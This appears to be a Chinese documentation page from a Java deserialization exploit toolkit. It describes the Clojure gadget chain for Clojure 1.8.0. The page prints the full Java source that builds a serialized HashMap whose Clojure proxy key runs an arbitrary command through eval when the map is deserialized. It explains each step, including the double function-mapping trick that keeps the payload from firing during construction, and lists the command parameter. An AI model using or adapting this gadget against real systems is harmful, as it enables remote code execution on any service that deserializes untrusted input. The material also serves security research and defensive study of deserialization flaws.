Skip to content

Latest commit

 

History

History
64 lines (54 loc) · 4.5 KB

File metadata and controls

64 lines (54 loc) · 4.5 KB

Clojure(Clojure)

  • 类别:javanative 别名:— 优先级:未标注(默认)
  • 作者:JackOfMostTrades
  • 依赖org.clojure:clojure:1.8.0

作用

利用 Clojure 运行时的动态代理 clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a,把恶意 Clojure 代码绑定到 hashCode 函数映射上,使其在 HashMap.readObject → key.hashCode() 时被 eval,直接命令执行。是一条自成闭环的 sink 链尾END),无需再接下游。

链接标签

  • 入口 tagsJavaNativeDeserializeEND —— 既承接原生反序列化入口,又是链尾(END):自身即完成 RCE,不再向后衔接。
  • 衔接 nextTags:无(空)。
  • excludes:无。

源码剖析

@Param(name="linux命令")
public String cmd = "calc";

public Map<?, ?> getObject() throws Exception {
    String clojurePayload = ClojureUtil.makeClojurePayload(this.cmd);                 // 把 cmd 编成 Clojure 表达式
    HashMap<String, Object> fnMap = new HashMap<String, Object>();
    fnMap.put("hashCode", new core.constantly().invoke((Object)0));                    // 先绑一个无害 hashCode=常量0
    proxy.AbstractTableModel.ff19274a model = new proxy.AbstractTableModel.ff19274a();
    model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));                   // 用无害映射初始化代理
    HashMap<proxy.AbstractTableModel.ff19274a, Object> targetMap = new HashMap<>();
    targetMap.put(model, null);                                                        // 此刻 put 走无害 hashCode,避免构造期自爆
    fnMap.put("hashCode", new core.comp().invoke(                                      // 再把 hashCode 换成 comp(eval_opt, constantly(payload))
        (Object)new main.eval_opt(),
        new core.constantly().invoke((Object)clojurePayload)));
    model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));                   // 重新初始化:此后 hashCode() 即执行 payload
    return targetMap;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();                                                           // 链尾,不调用 chain.doCreate
}

逐段说明:

  • ClojureUtil.makeClojurePayload(cmd) 把用户命令拼成一段 Clojure 源码字符串。
  • proxy$...ff19274a 是 Clojure 的动态代理类,其方法分发由「函数映射」__initClojureFnMappings 决定。这里把 hashCode 键映射到不同的 Clojure 函数:
    • 第一次绑定 constantly(0)hashCode 恒返回 0)——目的是让下一步 targetMap.put(model, null)构造阶段计算 model.hashCode() 时安全返回,不触发 payload、也不报错。
    • put 完成后,把 model 已经安置进 targetMap 的桶里。
    • 第二次hashCode 重绑为 comp(eval_opt, constantly(payload)):即 hashCode() 被调用时先 constantly 返回 payload 字符串,再交给 clojure.main$eval_opt 求值——eval 掉那段命令执行代码。
  • 触发点:targetMap 被反序列化时,HashMap.readObject 会对键重新 hash(key) → key.hashCode(),此刻 model.hashCode() 走的已是第二次绑定的 comp(eval_opt, ...),命令被执行。

参数(@Param)

字段 名称 说明 默认 可选值
cmd linux命令 要执行的命令,经 ClojureUtil.makeClojurePayload 编成 Clojure 表达式后 eval calc 任意字符串

适用版本与原理要点

  • 依赖 org.clojure:clojure:1.8.0,目标环境需存在 Clojure 运行时(含 clojure.inspector 代理与 clojure.main)。
  • 经典 JackOfMostTrades(ysoserial Clojure)gadget:核心是「动态代理函数映射 + HashMap.readObject 重算 hashCode」触发 eval
  • 「两次 __initClojureFnMappings」是关键技巧:先无害初始化以安全完成 put,再改绑恶意函数,绕开构造期就触发的问题。
  • 参数名虽写 "linux命令",但本质是 eval 一段 Clojure 表达式,跨平台与否取决于 ClojureUtil.makeClojurePayload 的实现与目标系统。

所属预设链

自由构件,未直接出现在 51 条预设链中。因带 END 标签,可直接作为原生反序列化入口的完整 sink 单独使用。

关联

  • 无下游(nextTags 为空,END 链尾)。
  • 同类「原生反序列化直达 RCE、自带 sink」的 gadget:BeanShell1Jython1Groovy 等第三方脚本引擎系 gadget。